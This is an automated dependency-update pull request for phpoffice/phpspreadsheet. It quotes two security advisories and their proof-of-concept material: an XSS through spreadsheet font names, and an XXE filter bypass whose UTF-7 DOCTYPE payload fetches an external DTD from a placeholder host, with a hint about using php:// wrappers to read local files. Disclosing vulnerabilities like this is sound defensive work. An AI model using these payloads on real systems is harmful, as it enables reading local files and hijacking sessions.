Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

chore(deps): update dependency phpoffice/phpspreadsheet to v2 [security] - autoclosed #355

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Aug 29, 2024

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
phpoffice/phpspreadsheet ^1.29.0|^2.0 -> 2.2.1 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2024-45046

Summary

\PhpOffice\PhpSpreadsheet\Writer\Html doesn't sanitize spreadsheet styling information such as font names, allowing an attacker to inject arbitrary JavaScript on the page.

PoC

Example target script:

<?php

require 'vendor/autoload.php';

$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
$spreadsheet = $reader->load(__DIR__ . '/book.xlsx');

$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
print($writer->generateHTMLAll());

Save this file in the same directory:
book.xlsx

Open index.php in a web browser. An alert should be displayed.

Impact

Full takeover of the session of users viewing spreadsheet files as HTML.

CVE-2024-45048

Summary

Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @​ symbol. (LFI-attack)

Details

Check $pattern = '/encoding="(.*?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this:

<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]>

If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.

PoC

  1. Create simple xlsx file
  2. Rename xlsx to zip
  3. Go to the zip and open the xl/sharedStrings.xml file in edit mode.
  4. Replace <?xml version="1.0" encoding="UTF-8" standalone="yes"?> to
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>
  1. Save sharedStrings.xml file and rename zip back to xlsx.
  2. Use minimal php code that simply opens this xlsx file:
use PhpOffice\PhpSpreadsheet\IOFactory;
require __DIR__ . '/vendor/autoload.php';
$spreadsheet = IOFactory::load("file.xlsx");
  1. You will receive the request to your http://%webhook%/file.dtd
  2. Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.

Impact

Read local files
lfi


Release Notes

PHPOffice/PhpSpreadsheet (phpoffice/phpspreadsheet)

v2.2.1

Compare Source

Security Fix
Fixed

v2.2.0

Compare Source

Added
Changed
  • On read, Xlsx Reader had been breaking up union ranges into separate individual ranges. It will now try to preserve range as it was read in. PR #​4042
  • Xlsx/Xls spreadsheet calculation and formatting of dates will use base date of spreadsheet even when spreadsheets with different base dates are simultaneously open. Issue #​1036 Issue #​1635 PR #​4071
Deprecated
  • Writer\Xls\Style\ColorMap is no longer needed.
Moved
  • Nothing
Fixed

v2.1.0

Compare Source

MINOR BREAKING CHANGE
  • Writing of cell comments to Html will now sanitize all Html tags within the comment, so the tags will be rendered as plaintext and have no other effects when rendered. Styling can be achieved by using the Font property of of the TextRuns which make up the comment, as is already the cases for Xlsx. PR #​3957
Added
Changed
  • Nothing
Deprecated
  • Reader/Xml trySimpleXMLLoadString should not have had public visibility, and will be removed.
Removed
  • Nothing
Fixed

v2.0.0

Compare Source

BREAKING CHANGE
  • Typing was strengthened by leveraging native typing. This should not change any behavior. However, if you implement
    any interfaces or inherit from any classes, you will need to adapt your typing accordingly. If you use static analysis
    tools such as PHPStan or Psalm, new errors might be found. If you find actual bugs because of the new typing, please
    open a PR that fixes it with a detailed explanation of the reason. We'll try to merge and release typing-related
    fixes quickly in the coming days. PR #​3718
  • All deprecated things have been removed, for details, see 816b91d0b4
Added
Changed
  • Drop support for PHP 7.4, according to https://phpspreadsheet.readthedocs.io/en/latest/#php-version-support PR #​3713
  • RLM Added to NumberFormatter Currency. This happens depending on release of ICU which Php is using (it does not yet happen with any official release). PhpSpreadsheet will continue to use the value returned by Php, but a method is added to keep the result unchanged from release to release. Issue #​3571 PR #​3640
  • toFormattedString will now always return a string. This was introduced with 1.28.0, but was not properly documented at the time. This can affect the results of toArray, namedRangeToArray, and rangeToArray. PR #​3304
  • Value of constants FORMAT_CURRENCY_EUR and FORMAT_CURRENCY_USD was changed in 1.28.0, but was not properly documented at the time. Issue #​3577
  • Html Writer will attempt to use Chart coordinates to determine image size. Issue #​3783 PR #​3787
Deprecated
  • Functions _translateFormulaToLocale and _translateFormulaEnglish are replaced by versions without leading underscore. PR #​3828
Removed
  • Nothing
Fixed

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

Copy link

codecov bot commented Aug 29, 2024

Codecov Report

All modified and coverable lines are covered by tests ✅

Project coverage is 94.56%. Comparing base (6c3b3dc) to head (7cf4b68).

Additional details and impacted files
@@           Coverage Diff           @@
##           master     #355   +/-   ##
=======================================
  Coverage   94.56%   94.56%           
=======================================
  Files          37       37           
  Lines         975      975           
=======================================
  Hits          922      922           
  Misses         53       53           

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

@renovate renovate bot changed the title chore(deps): update dependency phpoffice/phpspreadsheet to v2 [security] chore(deps): update dependency phpoffice/phpspreadsheet to v2 [security] - autoclosed Sep 4, 2024
@renovate renovate bot closed this Sep 4, 2024
@renovate renovate bot deleted the renovate/packagist-phpoffice-phpspreadsheet-vulnerability branch September 4, 2024 16:40
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

0 participants